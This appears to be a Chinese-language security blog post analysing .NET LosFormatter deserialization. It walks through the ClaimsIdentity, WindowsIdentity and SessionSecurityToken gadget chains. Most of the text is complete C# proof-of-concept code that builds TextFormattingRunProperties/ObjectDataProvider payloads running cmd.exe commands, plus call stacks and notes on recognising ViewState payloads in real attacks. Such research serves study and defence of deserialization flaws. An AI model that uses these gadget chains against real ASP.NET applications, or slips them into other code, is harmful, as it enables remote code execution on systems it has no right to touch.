LosFormatter一般用于序列化存储视图流状态,多用于Web窗体,如ViewState。LosFormatter封装在System.Web.dll中,命名空间为System.Web.UI,使用LosFormatter反序列化不信任的数据会造成RCE。
两个参数的构造方法表示使用”启用mac”和”mac密钥修饰符”来初始化LosFormatter。使用LosFormatter序列化对象仍需要标记[Serializable]
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 using System;using System.IO;using System.Text;using System.Web.UI;namespace LosFormatterDeserialize { class Program { [Serializable ] class Person { private string name; public string Name { get { return name; } set { name = value ; } } private int age; public int Age { get { return age; } set { age = value ; } } public Person (string name, int age ) { Name = name; Age = age; } public void SayHello () { Console.WriteLine("hello" ); } } static void Main (string [] args ) { LosFormatter losFormatter = new LosFormatter(); using (MemoryStream memory = new MemoryStream()) { losFormatter.Serialize(memory, new Person("jack" , 15 )); memory.Position = 0 ; Person p = (Person)losFormatter.Deserialize(memory); p.SayHello(); Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray())); } Console.ReadKey(); } } }
可见losformatter序列化之后的对象是base64编码的,以/wEyt
开头,实战中应注意。
LosFormatter有多个反序列化Deserialize()重载
反序列化方法也有多个重载方法 字符流和字符串都可以接受
1 2 3 4 5 6 7 static void Main(string[] args) { LosFormatter losFormatter = new LosFormatter(); Person p = (Person)losFormatter.Deserialize("/wEytAEAAQAAAP////8BAAAAAAAAAAwCAAAATkxvc0Zvcm1hdHRlckRlc2VyaWFsaXplLCBWZXJzaW9uPTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbAUBAAAAJkxvc0Zvcm1hdHRlckRlc2VyaWFsaXplLlByb2dyYW0rUGVyc29uAgAAAARuYW1lA2FnZQEACAIAAAAGAwAAAARqYWNrDwAAAAs="); p.SayHello(); Console.ReadKey(); }
跟进其反序列化函数发现 其反序列化使用的是ObjectStateFormatter
来进行反序列化
先从base64转字节数组,然后判断是否启用mac等。
LosFormatter交由ObjectStateFormatter反序列化处理,二次反序列化来进行处理
ClaimsIdentity 这里起的标题是这个ClaimsIdentity 但是等会接下来用的链子不会用到这个链子 只是说会用到这里类的反序列化流程
将自身m_bootstrapContext字段对象存放到System.Security.ClaimsIdentity.bootstrapContext
中。而该字段是object类型。并且没有标记NonSerialized
此时写一个案例来看下当类自身字段(就是属性) 值为object类型时的堆栈。
(其实就是模拟上述ClaimsIdentity类的调用过程)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 using Microsoft.VisualStudio.Text.Formatting;using System;using System.Collections.Generic;using System.Collections.Specialized;using System.Diagnostics;using System.IO;using System.Reflection;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters.Binary;using System.Security;using System.Security.Claims;using System.Security.Principal;using System.Text;using System.Web.Security;using System.Web.UI;using System.Windows.Data;using System.Windows.Markup;namespace LosFormatterDeserialize { class Program { static void Main (string [] args ) { LosFormatter losFormatter = new LosFormatter(); using (MemoryStream memory = new MemoryStream()) { TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal(); My my = new My(); my.o = textFormattingRunPropertiesMarshal; losFormatter.Serialize(memory,my); memory.Position = 0 ; losFormatter.Deserialize(memory); } Console.ReadKey(); } } [Serializable ] public class My { public object o; } [Serializable ] public class TextFormattingRunPropertiesMarshal : ISerializable { public static string gadget (string cmd ) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe" ; psi.Arguments = $"/c {cmd} " ; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables" , BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start" ; odp.IsInitialLoadEnabled = false ; odp.ObjectInstance = p; return XamlWriter.Save(odp); } protected TextFormattingRunPropertiesMarshal (SerializationInfo info, StreamingContext context ) { } string _xaml; public void GetObjectData (SerializationInfo info, StreamingContext context ) { Type typeTFRP = typeof (TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush" , _xaml); } public TextFormattingRunPropertiesMarshal (string cmd ) { _xaml = gadget(cmd); } public TextFormattingRunPropertiesMarshal () { _xaml = gadget("calc" ); } } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 TextFormattingRunProperties.GetObjectFromSerializationInfo()at C:\Users\sdbdb\AppData\Roaming\JetBrains\Rider2022.1\resharper-host\DecompilerCache\decompiler\daf9a58f03a34857b2a38723152cb62e26c10\c9\edb1d909\TextFormattingRunProperties.cs:line 863 new TextFormattingRunProperties()at C:\Users\sdbdb\AppData\Roaming\JetBrains\Rider2022.1\resharper-host\DecompilerCache\decompiler\daf9a58f03a34857b2a38723152cb62e26c10\c9\edb1d909\TextFormattingRunProperties.cs:line 119 [Native to Managed Transition] ObjectManager.CompleteISerializableObject() ObjectManager.FixupSpecialObject() ObjectManager.DoFixups() ObjectReader.Deserialize() BinaryFormatter.Deserialize() BinaryFormatter.Deserialize() ObjectStateFormatter.DeserializeValue() ObjectStateFormatter.Deserialize() ObjectStateFormatter.Deserialize() ObjectStateFormatter.Deserialize() LosFormatter.Deserialize() LosFormatter.Deserialize() LosFormatter.Deserialize() Program.Main()
仔细看的话在调用到ObjectStateFormatter
这个类的时候 还会接着调用BinaryFormatter
这个类来接着进行反序列化操作
那么至此可知,LosFormatter底层ObjectStatesFormatter会调用binaryformatter序列化和反序列化自身object字段。这也是ClaimsIdentity链的原理,套娃二次反序列化。
(给ClaimsIdentity的m_bootstrapContext参数传入对象的话 链子就会连起来)
WindowsIdentity demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 using Microsoft.VisualStudio.Text.Formatting;using System;using System.Collections.Specialized;using System.Diagnostics;using System.IO;using System.Reflection;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters.Binary;using System.Security.Principal;using System.Web.UI;using System.Windows.Data;using System.Windows.Markup;namespace LosFormatterDeserialize { class Program { static void Main (string [] args ) { LosFormatter losFormatter = new LosFormatter(); BinaryFormatter bf = new BinaryFormatter(); using (MemoryStream memory = new MemoryStream()) { TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal(); bf.Serialize(memory, textFormattingRunPropertiesMarshal); string b64payload = Convert.ToBase64String(memory.ToArray()); WindowsIdentityIdentityMarshal windowsIdentityIdentityMarshal = new WindowsIdentityIdentityMarshal(b64payload); memory.Position = 0 ; losFormatter.Serialize(memory, windowsIdentityIdentityMarshal); memory.Position = 0 ; losFormatter.Deserialize(memory); } Console.ReadKey(); } } [Serializable ] public class WindowsIdentityIdentityMarshal : ISerializable { public WindowsIdentityIdentityMarshal (string b64payload ) { B64Payload = b64payload; } private string B64Payload { get ; } public void GetObjectData (SerializationInfo info, StreamingContext context ) { info.SetType(typeof (WindowsIdentity)); info.AddValue("System.Security.ClaimsIdentity.actor" , B64Payload); info.AddValue("System.Security.ClaimsIdentity.bootstrapContext" , B64Payload); info.AddValue("System.Security.ClaimsIdentity.claims" , B64Payload); } } [Serializable ] public class TextFormattingRunPropertiesMarshal : ISerializable { public static string gadget (string cmd ) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe" ; psi.Arguments = $"/c {cmd} " ; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables" , BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start" ; odp.IsInitialLoadEnabled = false ; odp.ObjectInstance = p; return XamlWriter.Save(odp); } protected TextFormattingRunPropertiesMarshal (SerializationInfo info, StreamingContext context ) { } string _xaml; public void GetObjectData (SerializationInfo info, StreamingContext context ) { Type typeTFRP = typeof (TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush" , _xaml); } public TextFormattingRunPropertiesMarshal (string cmd ) { _xaml = gadget(cmd); } public TextFormattingRunPropertiesMarshal () { _xaml = gadget("calc" ); } } }
这个是上面讲的那个ClaimsIdentity 的子类 我们跟进这个类的反序列化函数中
其反序列化构造函数还继承了这个父类的反序列化构造函数
我们跟进这Deserialize方法中
发现这里有很多case 都会先base64解码 然后放入到binary中进行反序列化操作
其参数就是ClaimsIdentity类中的参数 那么我们在序列化的时候给其赋值就行了
那么在info中设置key为System.Security.ClaimsIdentity.actor或bootstrapContext或claims,值为base64之后的TextFormattingRunPropertiesMarshal对象即可触发RCE。
SessionSecurityToken demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 using Microsoft.VisualStudio.Text.Formatting;using System;using System.Collections.Specialized;using System.Diagnostics;using System.IdentityModel.Tokens;using System.IO;using System.Reflection;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters.Binary;using System.Security.Principal;using System.Web.UI;using System.Windows.Data;using System.Windows.Markup;using System.Xml;namespace LosFormatterDeserialize { class Program { static void Main (string [] args ) { LosFormatter losFormatter = new LosFormatter(); BinaryFormatter bf = new BinaryFormatter(); using (MemoryStream memory = new MemoryStream()) { TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal(); bf.Serialize(memory, textFormattingRunPropertiesMarshal); string b64payload = Convert.ToBase64String(memory.ToArray()); SessionSecurityTokenMarshal windowsIdentityIdentityMarshal = new SessionSecurityTokenMarshal(b64payload); memory.Position = 0 ; losFormatter.Serialize(memory, windowsIdentityIdentityMarshal); memory.Position = 0 ; losFormatter.Deserialize(memory); } Console.ReadKey(); } } [Serializable ] public class SessionSecurityTokenMarshal : ISerializable { public SessionSecurityTokenMarshal (string b64payload ) { B64Payload = b64payload; } private string B64Payload { get ; } public void GetObjectData (SerializationInfo info, StreamingContext context ) { info.SetType(typeof (SessionSecurityToken)); MemoryStream stream = new MemoryStream(); using (XmlDictionaryWriter xmlDictionaryWriter = XmlDictionaryWriter.CreateBinaryWriter(stream, null , null )) { xmlDictionaryWriter.WriteStartElement("SecurityContextToken" , "" ); xmlDictionaryWriter.WriteStartElement("Version" , "" ); xmlDictionaryWriter.WriteValue("1" ); xmlDictionaryWriter.WriteEndElement(); xmlDictionaryWriter.WriteElementString("SecureConversationVersion" , "" , (new Uri("http://schemas.xmlsoap.org/ws/2005/02/sc" )).AbsoluteUri); xmlDictionaryWriter.WriteElementString("Id" , "" , "1" ); WriteElementStringAsUniqueId(xmlDictionaryWriter, "ContextId" , "" , "1" ); xmlDictionaryWriter.WriteStartElement("Key" , "" ); xmlDictionaryWriter.WriteBase64(new byte [] { 0x01 }, 0 , 1 ); xmlDictionaryWriter.WriteEndElement(); WriteElementContentAsInt64(xmlDictionaryWriter, "EffectiveTime" , "" , 1 ); WriteElementContentAsInt64(xmlDictionaryWriter, "ExpiryTime" , "" , 1 ); WriteElementContentAsInt64(xmlDictionaryWriter, "KeyEffectiveTime" , "" , 1 ); WriteElementContentAsInt64(xmlDictionaryWriter, "KeyExpiryTime" , "" , 1 ); xmlDictionaryWriter.WriteStartElement("ClaimsPrincipal" , "" ); xmlDictionaryWriter.WriteStartElement("Identities" , "" ); xmlDictionaryWriter.WriteStartElement("Identity" , "" ); xmlDictionaryWriter.WriteStartElement("BootStrapToken" , "" ); xmlDictionaryWriter.WriteValue(B64Payload); xmlDictionaryWriter.WriteEndElement(); xmlDictionaryWriter.WriteEndElement(); xmlDictionaryWriter.WriteEndElement(); xmlDictionaryWriter.WriteEndElement(); xmlDictionaryWriter.WriteEndElement(); xmlDictionaryWriter.Flush(); stream.Position = 0 ; info.AddValue("SessionToken" , stream.ToArray()); } } private void WriteElementContentAsInt64 (XmlDictionaryWriter writer, String localName, String ns, long value ) { writer.WriteStartElement(localName, ns); writer.WriteValue(value ); writer.WriteEndElement(); } private void WriteElementStringAsUniqueId (XmlDictionaryWriter writer, String localName, String ns, string id ) { writer.WriteStartElement(localName, ns); writer.WriteValue(id); writer.WriteEndElement(); } } [Serializable ] public class TextFormattingRunPropertiesMarshal : ISerializable { public static string gadget (string cmd ) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe" ; psi.Arguments = $"/c {cmd} " ; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables" , BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start" ; odp.IsInitialLoadEnabled = false ; odp.ObjectInstance = p; return XamlWriter.Save(odp); } protected TextFormattingRunPropertiesMarshal (SerializationInfo info, StreamingContext context ) { } string _xaml; public void GetObjectData (SerializationInfo info, StreamingContext context ) { Type typeTFRP = typeof (TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush" , _xaml); } public TextFormattingRunPropertiesMarshal (string cmd ) { _xaml = gadget(cmd); } public TextFormattingRunPropertiesMarshal () { _xaml = gadget("calc" ); } } }
Gadgets
在SessionSecurityToken类的构造反序列化函数中有个ReadPrincipal函数 我们跟进
发现其调用了这个函数ReadIdentities 我们再次跟进
再次跟进又发现了其ReadIdentity函数 我们再次跟进
该方法中将BootstrapToken标签中的内容base64解码通过binaryformatter反序列化 思路清晰了 那么我们就只需要在其序列化的时候 调用GetObjectData函数 来给这些参数赋值 使其能成功调用到这些函数 并走到最后反序列化处